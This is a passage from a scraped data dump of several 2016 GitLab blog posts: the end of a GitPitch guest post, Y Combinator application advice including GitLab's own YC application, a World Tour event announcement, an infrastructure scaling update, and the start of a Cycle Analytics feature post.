feel](https://github.com/gitpitch/gitpitch/wiki/Slideshow-Settings) of our slideshow presentations using background images, our own logo, and even custom CSS to bend the pixels to our needs.\n\n![Slideshow-Custom-Bg](https://about.gitlab.com/images/blogimages/gitpitch-slideshow-presentations-for-developers-on-gitlab/slideshow-custom-bg.jpg){: .shadow}\n\n## GitPitch and GitLab Workflow\n\nThe **PITCHME.md** markdown for our slideshow presentation becomes just another file in our GitLab project repo.\nTherefore all of the benefits we currently enjoy when working with GitLab Workflow apply equally when developing our slideshow presentations.\n\nGiven GitPitch can render a slideshow presentation for any branch within a public GitLab repo, using feature branches also offers an excellent way to customize a presentation's content for different target audiences. For example:\n\n1. Branch to tailor code snippets for a Scala rather than Java audience.\n2. Branch to adjust the presentation focus for a dev-ops audience.\n3. Branch to emphasize participation of a partner or customer for a specific conference.\n\nSome common, in-person workflows are also greatly improved when working with GitPitch presentations.\nFor example, how often have you heard this simple request following a successful presentation:\n\n> Can you please send me your slides?\n\nIf our presentation lives outside of our GitLab project it is very easy to misplace or forget to follow up.\nWith GitPitch, a simple answer is always at hand:\n\n> The slideshow presentation is part of the project on GitLab, just click on the [GitPitch Badge](https://github.com/gitpitch/gitpitch/wiki/Slideshow-GitHub-Badge) found in the project **README.md**.\n\n\n## Going Faster from Idea to Presentation\n\n\nGitLab champions new, modern development tools and practices that foster collaboration and information sharing to help developers go [faster from idea to production](/blog/announcing-the-gitlab-issue-board/#gitlab-from-idea-to-production).\nGitPitch embraces and extends this approach by helping individuals, teams and organizations to promote, pitch and present their ideas and code to ever wider audiences.\n\nNote, by default the GitPitch service on [GitPitch.com](https://gitpitch.com) integrates with [GitLab.com](https://gitlab.com).\nIf you are interested in using GitPitch with your own GitLab server see [this note](https://github.com/gitpitch/gitpitch/wiki/Git-Repo-Services) on the GitPitch Wiki.\n\nLike GitLab, GitPitch itself is an [open source project](https://gitlab.com/gitpitch/gitpitch), built on some wonderful open source software.\nSee the [GitPitch website](https://gitpitch.com/#gitpitch-about) for details. And remember, getting started couldn't be easier.\nGitPitch requires no sign-up. And no configuration. Just add **PITCHME.md** ;)\n\n## About Guest Author\n\nDavid Russell is a freelance developer, consultant for-hire, [open source contributor](https://github.com/onetapbeyond) and the creator of [GitPitch](https://gitpitch.com).\nYou can reach David on Twitter [@gitpitch](https://twitter.com/gitpitch).\n",{"slug":37294,"featured":6,"template":678},"gitpitch-slideshow-presentations-for-developers-on-gitlab","content:en-us:blog:gitpitch-slideshow-presentations-for-developers-on-gitlab.yml","Gitpitch Slideshow Presentations For Developers On Gitlab","en-us/blog/gitpitch-slideshow-presentations-for-developers-on-gitlab.yml","en-us/blog/gitpitch-slideshow-presentations-for-developers-on-gitlab",{"_path":37300,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":37301,"content":37306,"config":37309,"_id":37311,"_type":16,"title":37312,"_source":17,"_file":37313,"_stem":37314,"_extension":20},"/en-us/blog/yc-application-office-hours",{"title":37302,"description":37303,"ogTitle":37302,"ogDescription":37303,"noIndex":6,"ogImage":17364,"ogUrl":37304,"ogSiteName":1180,"ogType":1181,"canonicalUrls":37304,"schema":37305},"YC application office hours","The 25 YC application questions discussed with GitLab's CEO","https://about.gitlab.com/blog/yc-application-office-hours","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"YC application office hours\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Kirsten Abma\"}],\n        \"datePublished\": \"2016-10-03\",\n      }",{"title":37302,"description":37303,"authors":37307,"heroImage":17364,"date":37291,"body":37308,"category":299},[36375],"\n\nFollowing our blog last Friday about [What Founders Ask Founders About Getting Into Y Combinator](/blog/what-founders-ask-founders-about-getting-into-yc/) we got a lot of responses through [HackerNews](https://news.ycombinator.com/) to have Sid, our CEO, read through people's application.\nSid figured talking in person would be way easier than leaving comments and we set up some office hours during the weekend and today to help founders applying with making their application as clear as possible.\n\n\u003C!-- more -->\n\nWith the blog post [trending on the HackerNews homepage](https://news.ycombinator.com/item?id=12615723) last Friday, a lot of candidates wanted to know if their answers were clear and concise; like Sid advised in our blog.\nDuring the office hours and a few one-on-one meetings Sid read and talked through the application form answers and asked questions and discussed what candidates could improve.\n\nBelow are a few examples of the calls Sid did over the weekend. We posted the recordings on our YouTube account\nso everyone can have a look at the advice mentioned and hopefully adjust the last few details before [sending in their own application](https://www.ycombinator.com/apply/).\n\n[Color Search](http://www.colorsearch.io/) lets you choose a paint color online, and [TrueJob](https://www.truejob.com/) is a data-driven startup job search. Both company founders have graciously agreed to let us post their call with Sid to help out other founders.\n\nBelow is the video of Sid's call with Color Search and they also shared [their application form](https://docs.google.com/document/d/10isDYk_fxBmyuRM2IiGdNOkX3TjWGfgx69_abkEaUbc/edit).\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/XSEtlBHDe7Q\" frameborder=\"0\" allowfullscreen>\u003C/iframe>\n\u003C/figure>\n\n\u003Cbr>\n\nTrueJob also sent us a link for [their application form](https://docs.google.com/document/d/13t48qEpSDS23_U_TYXwtr_fuUTV_C0O3bKzP3IAQE3M/edit) and their call with Sid is below.\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/rVEf4_WZDbM\" frameborder=\"0\" allowfullscreen>\u003C/iframe>\n\u003C/figure>\n\n\u003Cbr>\n\nGood luck to both company founders.\n",{"slug":37310,"featured":6,"template":678},"yc-application-office-hours","content:en-us:blog:yc-application-office-hours.yml","Yc Application Office Hours","en-us/blog/yc-application-office-hours.yml","en-us/blog/yc-application-office-hours",{"_path":37316,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":37317,"content":37323,"config":37327,"_id":37329,"_type":16,"title":37330,"_source":17,"_file":37331,"_stem":37332,"_extension":20},"/en-us/blog/gitlabs-application-for-y-combinator-winter-2015",{"title":37318,"description":37319,"ogTitle":37318,"ogDescription":37319,"noIndex":6,"ogImage":37320,"ogUrl":37321,"ogSiteName":1180,"ogType":1181,"canonicalUrls":37321,"schema":37322},"GitLab's Application for Y Combinator Winter 2015","We just released our Y Combinator W2015 application!","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683744/Blog/Hero%20Images/gitlabs-application-for-y-combinator-winter-2015-cover.jpg","https://about.gitlab.com/blog/gitlabs-application-for-y-combinator-winter-2015","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab's Application for Y Combinator Winter 2015\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sid Sijbrandij\"}],\n        \"datePublished\": \"2016-09-30\",\n      }",{"title":37318,"description":37319,"authors":37324,"heroImage":37320,"date":37325,"body":37326,"category":299},[3532],"2016-09-30","\nWe released it together with out blog post [What founders ask founders about getting into Y Combinator](/blog/what-founders-ask-founders-about-getting-into-yc/)\n\n\u003C!-- more -->\n\n## Company\n\n**Company name:**\nGitLab\n\n**Company url, if any:**\nhttps://about.gitlab.com/\n\n**If you have an online demo, what's the url?**\nhttp://demo.gitlab.com/users/sign_in\n\n**Note:** this URL no longer works, in 2016 our sign up url is [https://gitlab.com/users/sign_in](https://gitlab.com/users/sign_in)\n\n**What is your company going to make?**\nWe’re making open source software to collaborate on code. It started as ‘run your own GitHub’ that most users deploy on their own server(s). GitLab allows you to [version control](/topics/version-control/) code including pull/merge requests, forking and public projects. It also includes project wiki’s and an issue tracker. Over 100k organizations use it including thousands of programmers at \\\u003CRedacted>. We also offer GitLab CI that allows you to test your code with a distributed set of workers.\n\n**Where do you live now, and where would the company be based after YC?**\nThe Netherlands, Ukraine (with employees in San Francisco), we don't know yet where will be based after YC\n\n## Founders\n\n**Please enter the url of a 1 minute unlisted (not private) YouTube video introducing the founders.**\n\u003Chttps://www.youtube.com/watch?v=KzvDHA5323o>\n\n**Please tell us about an interesting project, preferably outside of class or work, that two or more of you created together. Include urls if possible.**\nWe created GitLab together (\u003C/gitlab-ce/>) and now over 100.000 organizations are using it. We also created GitLab CI and GitLab CI Runner together \u003C/solutions/continuous-integration/>. This pair of programs allow organizations to distribute their code testing over a number of workers.\n\n**How long have the founders known one another and how did you meet? Have any of the founders not met in person?**\nIn 2011 Dmitriy started GitLab. We met in 2012 via email when Sytse started building GitLab.com. In 2013 we formally started a company together and went on team trips a few times since than.\n\n## Progress\n\n**How far along are you?**\nOver 100.000 organizations are using GitLab. \\\u003CRedacted>, Qualcomm, NASA, Nasdaq OMX and Interpol are paying customers. Over 600 people have contributed to it. It is the most popular open source version control software. It has more installations than anything else (including GitHub Enterprise and Atlassian Stash).\n\n**If you've already started working on it, how long have you been working and how many lines of code (if applicable) have you written?**\nSince 2011, over 10,000 commits, see \u003Chttp://contributors.gitlab.com/>\n\n**Which of the following best describes your progress?**\nLaunched\n\n**When will you have a prototype or beta? How many users do you have?**\nWe estimate more than 1M\n\n**Do you have revenue?**\nYes\n\n**How much revenue?**\n$1m annual Revenue Run Rate\n\n**What is your monthly growth rate?**\nAbout 60% in revenue each month.\n\n**If you've applied previously with the same idea, how much progress have you made since the last time you applied? Anything change?**\nNo\n\n**If you have already participated or committed to participate in an incubator, \"accelerator\" or \"pre- accelerator\" program, please tell us about it.**\nWe have not applied to or participated any others.\n\n## Idea\n\n**Why did you pick this idea to work on? Do you have domain expertise in this area? How do you know people need what you're making?**\nDmitriy wanted a solution he could use at his previous job. All employees except our account managers (8-2=6) are software developers. We listen closely to the community via direct customer feedback, pull/merge requests, issues, twitter, mailinglists, chatrooms and the non GitLab B.V. employees on the GitLab core team.\n\n**What's new about what you're making? What substitutes do people resort to because it doesn't exist yet (or they don't know about it)?**\nWe offer the a better way of collaborating on digital products ( the feature branch workflow) to organizations that prefer to work on open source tools. Open source is interesting for large companies because they can inspect and modify the code. They also can and do contribute back changes that are important to them. Substitutes are closed source alternatives (GitHub Enterprise, Atlassian Stash) or less functional open source alternatives (Gitorious, Gogs). GitHub currently has a lot of mind-share but they are under- serving the on-premises (behind the firewall) market. We can see us grow into the leading solution for those installations (which is currently the majority of the market). In the long run most software will live on some (hybrid-)cloud and we think there are many ways to differentiate our offering (open source/distributed/integrated). In the short term we are emulating the Netflix strategy, shipping DVD’s (focus on the on-premise installations) when the competitors focus on the video-on-demand (SaaS) offering.\n\n**Who are your competitors, and who might become competitors? Who do you fear most?**\nGitHub Enterprise and Atlassian Stash are our primary competitors. We fear Atlassian Stash most since the GitHub Enterprise offering is weak (black box VM that doesn’t scale or cluster) and overpriced (4x more expensive than Stash or our standard subscription). We compete with Stash on usability, integration (no need to install Jira and Confluence separately), flexibility (you can inspect and adapt the source) and price.\n\n**What do you understand about your business that other companies in it just don't get?**\nAn open source development process allows you to market your product for free. It also allows a good product market fit at a low cost. We believe that version control is infrastructure software and that open source is the natural model for this kind of software . But to create and grow a competitive open source offering you need to have a proprietary commercial version to generate scalable revenue, support income alone is not enough.\n\n**How do or will you make money? How much could you make?**\nMostly by selling subscriptions that entitle our customers to support and our proprietary GitLab Enterprise Edition. Our most sold subscription by revenue costs $49 per user per year. Most or our revenue comes from organizations with more than 100 paying users. Every company with a substantial number of developers needs software like ours. We already declined an acquisition offer from a competitor for $10M because we want to grow this into a large company.\n\n**How will you get users? If your idea is the type that faces a chicken-and-egg problem in the sense that it won't be attractive to users till it has a lot of users (e.g. a marketplace, a dating site, an ad network), how will you overcome that?**\nCurrently we get users through word of mouth (amplified by twitter). During our time at YC we would like to grow our marketing, our [continuous integration product](/solutions/continuous-integration/) GitLab CI and our SaaS (GitLab.com). GitLab.com currently has only 15k monthly active users but we see a lot of possibilities to grow and differentiate it.\n\n## Others\n\n**If you had any other ideas you considered applying with, please list them. One may be something we've been waiting for. Often when we fund people it's to do something they list here and not in the main application.**\nN/A\n\n**Please tell us something surprising or amusing that one of you has discovered.**\nBefore GitLab Sytse has build recreational manned submarines from scratch, the company he started is currently the largest producer of them in the world and is called U-Boat Worx [http://www.uboatworx.com/](http://www.uboatworx.com/)\n",{"slug":37328,"featured":6,"template":678},"gitlabs-application-for-y-combinator-winter-2015","content:en-us:blog:gitlabs-application-for-y-combinator-winter-2015.yml","Gitlabs Application For Y Combinator Winter 2015","en-us/blog/gitlabs-application-for-y-combinator-winter-2015.yml","en-us/blog/gitlabs-application-for-y-combinator-winter-2015",{"_path":37334,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":37335,"content":37341,"config":37344,"_id":37346,"_type":16,"title":37347,"_source":17,"_file":37348,"_stem":37349,"_extension":20},"/en-us/blog/what-founders-ask-founders-about-getting-into-yc",{"title":37336,"description":37337,"ogTitle":37336,"ogDescription":37337,"noIndex":6,"ogImage":37338,"ogUrl":37339,"ogSiteName":1180,"ogType":1181,"canonicalUrls":37339,"schema":37340},"What Founders Ask Founders About Getting Into Y Combinator","5 questions a founder asked our founder about applying to YC!","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683902/Blog/Hero%20Images/what-fouders-ask-founders-about-getting-into-yc-cover.png","https://about.gitlab.com/blog/what-founders-ask-founders-about-getting-into-yc","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"What Founders Ask Founders About Getting Into Y Combinator\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Kirsten Abma\"}],\n        \"datePublished\": \"2016-09-30\",\n      }",{"title":37336,"description":37337,"authors":37342,"heroImage":37338,"date":37325,"body":37343,"category":8943},[36375],"\n\nUpdate: There is a followup post about the [YC application office hours](/blog/yc-application-office-hours/) as a response to this post.\n\nYou’ve got a great idea and feel you can make a great company and product out of it. You’ve worked on a basic version and feel like you’re ready to enter the big leagues.\n\nMaybe the accelerator program of Y Combinator is a good idea? But you’ve got so many questions.\nWhen are you ready for the next step? How can Y Combinator help you? What are some tips or tricks to get in and what should you highlight in the application process?\n\nThe deadline to [**apply**](https://www.ycombinator.com/apply/) for the Y Combinator program is **Tuesday October 4th 2016 by 8pm PT**.\n{: .alert .alert-webcast}\n\n\u003C!-- more -->\n\nIn combination with the blog post we released [the application of GitLab to YC](/blog/gitlabs-application-for-y-combinator-winter-2015/) as an example.\nBelow some questions that Reinder Visser from [Placker](https://www.placker.com) asked Sid about applying at Y Combinator a few days ago.\n\n#### Reinder: Why should I apply?\n{:.gitlab-orange}\n\n**Sid:** The reason we applied for Y Combinator with GitLab was that we had lost our first customer mid 2014. The customer explained that while they liked GitLab they were standardizing on an alternative solution.\nDmitriy and I figured every company would standardize on one solution to do [innersourcing](/blog/innersourcing-using-the-open-source-workflow-to-improve-collaboration-within-an-organization/) and we wanted that solution to be GitLab. The need to grow faster became the main reason to apply since there was a window of opportunity of a couple of years before people would standardize on one tool and be decided.\n\nWe feel that the time to apply for Y Combinator is when you have mainly outlined your product vision, you’re still working somewhat on the market, and are still trying to figure out how to sell it, and how to scale to accommodate your customers.\nThe Y Combinator program is ideal when you have a solid team of founders that have been working together for a while but you are ready to hire the rest of the team after you complete the Y Combinator program.\n\n#### Reinder: So why choose Y Combinator if there are more than 2000 accelerator programs in the world?\n{:.gitlab-orange}\n\n**Sid:** We feel that Y Combinator has the best network, the best partners, the best advice to give you because they see the most companies, and they are very strong at selecting them.\nGoing where the other strong candidates are, you will have a program where they have the largest set of data to offer you advice.\nInvestors have noticed the Y Combinator pattern which helps you raise funding under better terms with better investors. Our Y Combinator experience exceeded our high expectations.\n\n#### Reinder: Is it a problem that I'm a single founder?\n{:.gitlab-orange}\n\nJust last week Craig Cannon posted an article on [the most common misconceptions about applying for Y Combinator](http://themacro.com/articles/2016/09/common-misconceptions-about-applying-to-yc/).\nA concern people have sometimes is being a single founder, which is addressed in this article. While Y Combinator does [suggest having a cofounder](http://www.forbes.com/sites/bruceupbin/2011/10/18/paul-graham-dropbox-and-the-single-founder-exception/#1f0fadfb1f77) because startups are hard and cofounders definitely help, of the Summer 2016 batch, 8.5% had a solo founder.\nHere’s how the rest breaks down: 2 Founders (61.3%), 3 Founders (20.8%), 4 Founders (7.5%), 5+ Founders (1.9%). It may feel like being a single founder would make it harder to get the same load of work done,\nwhere it’s not so much that Y Combinator will be hard on your own, running a company on your own will be too.\n\n#### Reinder: If you decide to apply, how do you get in?\n{:.gitlab-orange}\n\n**Sid:** Take your time working on your answers for the application. Apply ahead of the deadline and don’t wait until the last minute if you can. But even last minute and late applications get a fair review so feel free to sleep on it.\nDescribe what your company does and why it’s unique. Be concise and opt for simple descriptions with the use mundane language, because a main reason why you get declined is that a reviewer doesn’t understand you business.\nHave other people review your application. Then ask them “what does my company do”? and write down their answer. Take that answer they have given you and use it to improve your description.\nWriting down what your company does is one of the hardest things, and if you don’t agree with their answer than your first answer wasn’t clear enough.\n\nEveryone feels their product is better, faster, easier, so get down to specifics why you feel that way but keep it simple. If people can’t recite back to you what it is you do and why you’re different, you have to change your answers.\nThere are a few question in the application that are of high importance to highlight you as a founder, one of them being: “Please tell us about the time you most successfully hacked some (non-computer) system to your advantage.”\nDon’t gloss over any questions but this one in particular is important. Choose answers or situations that show you’re an independent thinker and are creative.\nWhen you get invited to do a 10 minute interview after you’ve sent in your application make sure to prepare for the interview in detail.\nThey will ask you questions which are to be found on the internet so make sure to write down your answers and practice those. Your answers need to be concise and clear, when they are too long you will get cut off. I had someone ask me the questions over and over and interrupt me if my answer was longer than one breath.\n\n#### Reinder: So spill the beans; what’s it like?\n{:.gitlab-orange}\n\n**Sid:** Y Combinator raises your ambition level; everyone is motivated by the feeling of progress, and that’s what fast growth gives you.\nYou’re in a batch with the best people in the world, it’s a form of healthy peer pressure that motivates you to work harder and set that high pace to keep developing your product.\nThe first thing they ask you to do is launch, in case you haven’t done that yet. Y Combinator teaches you not to want your feature or product to be a certain way before shipping.\nShip today, and make it better or nicer over time. As soon as it’s live you’ll have more information and data on what the real problems are.\nFiguring out who your ideal customers are, how to reach them, how to raise your financing, how to hire people, these are questions that everyone in the program has.\nThe team of Y Combinator is really good at helping you to answer these questions, both during and after the 3 month program.\nBut the best part are the other founders, they are all interesting people and I'm very glad to call some of them my friends.\n",{"slug":37345,"featured":6,"template":678},"what-founders-ask-founders-about-getting-into-yc","content:en-us:blog:what-founders-ask-founders-about-getting-into-yc.yml","What Founders Ask Founders About Getting Into Yc","en-us/blog/what-founders-ask-founders-about-getting-into-yc.yml","en-us/blog/what-founders-ask-founders-about-getting-into-yc",{"_path":37351,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":37352,"content":37358,"config":37362,"_id":37364,"_type":16,"title":37365,"_source":17,"_file":37366,"_stem":37367,"_extension":20},"/en-us/blog/world-tour-amplify-your-code",{"title":37353,"description":37354,"ogTitle":37353,"ogDescription":37354,"noIndex":6,"ogImage":37355,"ogUrl":37356,"ogSiteName":1180,"ogType":1181,"canonicalUrls":37356,"schema":37357},"GitLab World Tour: Amplify Your Code","Rock out with us and amplify your code on our World Tour! See where we'll be.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683580/Blog/Hero%20Images/world-tour-amplify-your-code-cover.png","https://about.gitlab.com/blog/world-tour-amplify-your-code","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab World Tour: Amplify Your Code\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Emily Kyle\"}],\n        \"datePublished\": \"2016-09-28\",\n      }",{"title":37353,"description":37354,"authors":37359,"heroImage":37355,"date":37360,"body":37361,"category":299},[27374],"2016-09-28","\n{::options parse_block_html=\"true\" /}\n\n\u003Ci class=\"fab fa-gitlab\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i>&nbsp;&nbsp;\nGitLab World Tour - London, Oct 19th - [Register here][London-1]!\n&nbsp;&nbsp;\u003Ci class=\"fab fa-gitlab\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i>\n{: .alert .alert-webcast}\n\nEven the sharpest teams face minor setbacks when their code falls flat, or their team is just not in tune. \nO-boe-y, nobody wants that. Luckily, GitLab is here to pitch you an idea to help you boost your act.\n\nWe're kicking off the GitLab World Tour to help harmonize your development process because code is our forte.\nAt this free event, we will explore how teams are using Git and other modern software development practices to work together and build amazing products. Software development is changing and with it, the way developers work. \nToday’s rapid pace of communication and innovation fosters creativity, collaboration, and information sharing; bringing ideas to life—faster. The GitLab World Tour is an interactive discussion on what's next for software development.\n\n\u003C!-- more -->\n\n## What to Expect ##\n\nFrom ideation and planning to committing, testing, deploying, and getting feedback, we are building a toolset that takes an all-inclusive approach to the development process.\n\n![FROM IDEA TO PRODUCTION IN 10 STEPS](https://about.gitlab.com/images/blogimages/idea-to-production-10-steps.png)\n\nWe introduced our [Master Plan][master-plan] and now we need feedback from our rock star community as we think about how we can build the best toolset to help modern developers move faster from idea to production. \n\nOn Tour, you'll hear from GitLab CEO [Sid Sijbrandij][sid-twitter] on the GitLab Master Plan, have the opportunity to ask our developers questions, give feedback about our [product direction][product-direction], and share your ideas and projects.\n\n### Inspiration ###\n\n\u003Cdiv class=\"panel panel-gitlab-orange\">\n\n**Conversational Development**\n{: .panel-heading #convdev}\n\n\u003Cdiv class=\"panel-body\">\n\n**Conversational Development (ConvDev)** is a natural evolution of software\ndevelopment that carries a conversation across functional groups throughout\nthe development process, enabling developers to track the full path of\ndevelopment in a cohesive and intuitive way. ConvDev accelerates the\ndevelopment lifecycle by fostering collaboration and knowledge sharing\nfrom idea to production.\n\n\u003C/div>\n\u003C/div>\n\nIt's an exciting time to be a developer. There is a steady rise of new tools, languages, and practices. \nWe'll take a look at some incredible community projects and share information that you can take back to your teams including information on Conversational Development and the modern development lifecycle, Continuous Integration, and trends in open source. \n\n### Conversation ###\n\nWe value our community and are eager to trade ideas with you. We've planned our sessions to be interactive so there will be plenty of time for you to ask questions and share feedback. \n\n\u003Cdiv class=\"panel panel-gitlab-purple\">\n\n**GitLab Vision**\n{: .panel-heading #vision}\n\n\u003Cdiv class=\"panel-body\">\n\nThe vision of GitLab is to allow everyone to collaborate on all digital content so people can cooperate effectively and achieve better results, faster.\nWe can do this by providing an integrated set of tools that allows you to go faster [from idea to production][idea-production].\n\n\u003C/div>\n\u003C/div>\n\n#### Project #AmplifyYourCode\n\nAt GitLab, we owe our success to our community and the thousands of contributors who help make GitLab.com great. \nThanks to you, we can ship faster to deliver the best toolset for the modern developer. Now, it's your turn to take the spotlight.\n\n[Submit your best GitLab project][project-form] to amplify your code and to have your project showcased in front of hundreds of developers \nduring the GitLab World Tour and promoted on the GitLab blog and social channels.   What are you waiting for? Make your voice heard! Who knows, it could be your greatest hit. \n\n### Swag ###\n\nIt's not a tour without some commemorative item that says, \"I was here.\" Every stop on this tour will have their own city-specific GitLab swag. \n\n![GITLAB SWAG](https://about.gitlab.com/images/blogimages/world-tour-amplify-your-code-ping-pong.jpg)\n\n## Are you ready to amplify your code?\n\nThe World Tour will make stops in **London**, **New York City**, and **Amsterdam** before ending on a high note\nin **San Francisco** at our user conference early next year. The GitLab Team will travel city to city,\nworking in concert with git users like yourself, gathering feedback and stories to help make your git\nworkflow even more seamless. We would also like to trumpet about some major developments features in GitLab.\n\nHere is a list of some of the topics we will be covering:\n\n1. Modern Software Development\n1. Conversational Development (ConvDev)\n1. Continuous Integration\n1. Continuous Delivery & Continuous Deployment\n1. The Open Source Community\n1. Innersourcing, Microservices, and Version Control\n1. GitLab Direction\n1. GitLab Community Edition, Enterprise Edition, and GitLab.com\n\nWe hope that some of those themes will strike a cord with you and your team. Come, share your ideas and amplify your code at a stop near you.\n\n🇬🇧 &nbsp; Take a minute to register for our opening act in [London][london-1] on Oct 19th! &nbsp; 🇬🇧\n\u003Cbr>🇺🇸 &nbsp; [New York City][NYC] on October 26th! &nbsp; 🇺🇸\n\u003Cbr>🇳🇱 &nbsp; [Amsterdam] on November 3rd! &nbsp; 🇳🇱\n{:.alert .alert-webcast}\n\nCan't wait to rock out with you!\n\n\u003C!-- identifiers -->\n\n[amsterdam]: https://gitlabworldtouramsterdam.splashthat.com/\n[idea-production]: /blog/continuous-integration-delivery-and-deployment-with-gitlab/#from-idea-to-production-with-gitlab\n[master-plan]: /blog/gitlab-live-event-recap/\n[nyc]: https://gitlabworldtournyc.splashthat.com/\n[product-direction]: /direction/\n[project-form]: https://goo.gl/forms/7HZYUNTxLFVzNeZN2\n[London-1]: https://gitlabworldtourlondon.splashthat.com/ \"GitLab World Tour: London\"\n[sid-twitter]: https://twitter.com/sytses\n\n{::options parse_block_html=\"false\" /}",{"slug":37363,"featured":6,"template":678},"world-tour-amplify-your-code","content:en-us:blog:world-tour-amplify-your-code.yml","World Tour Amplify Your Code","en-us/blog/world-tour-amplify-your-code.yml","en-us/blog/world-tour-amplify-your-code",{"_path":37369,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":37370,"content":37376,"config":37380,"_id":37382,"_type":16,"title":37383,"_source":17,"_file":37384,"_stem":37385,"_extension":20},"/en-us/blog/infrastructure-update",{"title":37371,"description":37372,"ogTitle":37371,"ogDescription":37372,"noIndex":6,"ogImage":37373,"ogUrl":37374,"ogSiteName":1180,"ogType":1181,"canonicalUrls":37374,"schema":37375},"GitLab Infrastructure Update","Hear how we're working through infrastructure challenges as we scale.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683895/Blog/Hero%20Images/infrastructure.jpg","https://about.gitlab.com/blog/infrastructure-update","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Infrastructure Update\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Pablo Carranza\"}],\n        \"datePublished\": \"2016-09-26\",\n      }",{"title":37371,"description":37372,"authors":37377,"heroImage":37373,"date":37378,"body":37379,"category":734},[37045],"2016-09-26","\n\n\nAs Infrastructure Lead, my job is to make [GitLab.com][gitlab] fast and highly available. \n\nLately, it's been a challenge. Why? We are hitting our threshold where scale starts to matter. For example, over 2,000 new repos\nare being created during peak hours, and CI runners are requesting new builds 3,000,000 times per hour.\nIt's an interesting problem to have. We have to store this information somewhere and make sure that \nwhile we're gaining data and users, GitLab.com keeps working fine. \n\nA large part of the issue we're running into as we scale is that there is little or no documentation \non how to tackle this kind of problem. While there are companies that have written high-level posts, almost none of them\nhave shared **how** they arrived at their solutions.\n\nOne of our main issues in the past six months has been around storage. We built a CephFS cluster to tackle both the capacity and\nperformance issues of using NFS appliances. Another more recent issue is around PostgreSQL vacuuming and how it affects performance locking up the database\ngiven the right kind of load. \n\nAs [outlined in our values][values], we believe we have a \nresponsibility to document this so other companies know what to do when they reach this point.\nLast Thursday, I gave a GitLab.com infrastructure status report during our [daily team call][team-call]. \nWatch the recording or download the slides to see how we're working through our challenges with scaling. \n\n\u003C!-- more -->\n\n## Recording & Slides\n\n### Recording \n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/kN-HcObb9zo\" frameborder=\"0\" allowfullscreen>\u003C/iframe>\n\u003C/figure>\n\n\u003Cbr>\n\n### Slides\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://docs.google.com/presentation/d/11rCsJM41WAETPWqtWgfIxgfPRBQB4m037aZpgsGpzkk/embed?start=false&loop=false&delayms=5000\" frameborder=\"0\" width=\"1280\" height=\"749\" allowfullscreen=\"true\" mozallowfullscreen=\"true\" webkitallowfullscreen=\"true\">\u003C/iframe>\n\u003C/figure>\n\n\u003Cbr>\n\n\u003C!-- identifiers --> \n[gitlab]: https://gitlab.com/\n[team-call]: /handbook/communication/#team-call\n[values]: https://handbook.gitlab.com/handbook/values/\n\n",{"slug":37381,"featured":6,"template":678},"infrastructure-update","content:en-us:blog:infrastructure-update.yml","Infrastructure Update","en-us/blog/infrastructure-update.yml","en-us/blog/infrastructure-update",{"_path":37387,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":37388,"content":37394,"config":37398,"_id":37400,"_type":16,"title":37401,"_source":17,"_file":37402,"_stem":37403,"_extension":20},"/en-us/blog/cycle-analytics-feature-highlight",{"title":37389,"description":37390,"ogTitle":37389,"ogDescription":37390,"noIndex":6,"ogImage":37391,"ogUrl":37392,"ogSiteName":1180,"ogType":1181,"canonicalUrls":37392,"schema":37393},"Feature Highlight: Cycle Analytics","See how GitLab's Cycle Analytics can help measure your team's velocity.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683605/Blog/Hero%20Images/cycle-analytics-feature-highlight-cover.png","https://about.gitlab.com/blog/cycle-analytics-feature-highlight","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Feature Highlight: Cycle Analytics\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Amara Nwaigwe\"}],\n        \"datePublished\": \"2016-09-21\",\n      }",{"title":37389,"description":37390,"authors":37395,"heroImage":37391,"date":37396,"body":37397,"category":299},[36786],"2016-09-21","\nOn September 22nd, we will release [GitLab 8.12](/releases/2016/09/22/gitlab-8-12-released/) with [Cycle Analytics](/solutions/value-stream-management/). Cycle Analytics tells you how long it takes your team to go [from idea to production][idea-production] on each of their projects.\n\nFew teams can answer how long their software projects take and fewer can answer how long each stage in the process takes. Without this information,\nyou do your best to estimate the time or level of effort that it will take to get from an idea to customer-ready code.\n\nUnfortunately, most teams are flying blind on their estimates using past experiences and best guesses to offer a semblance of how long it’ll take to complete a project. It’s no wonder [why estimates are often incorrect](http://www.innoarchitech.com/why-software-development-time-estimation-does-not-work-alternative-approaches/).\n\nWe built Cycle Analytics to stop blind estimation and instead show you\nreal data on your team’s velocity. You'll see how long the total process takes as well as how much time you spend in each stage.\n\n\u003C!-- more -->\n\n## Why Cycle Analytics Recap\n\nLast week, we wrote a \"feature preview\" on [what Cycle Analytics is and how it can help your 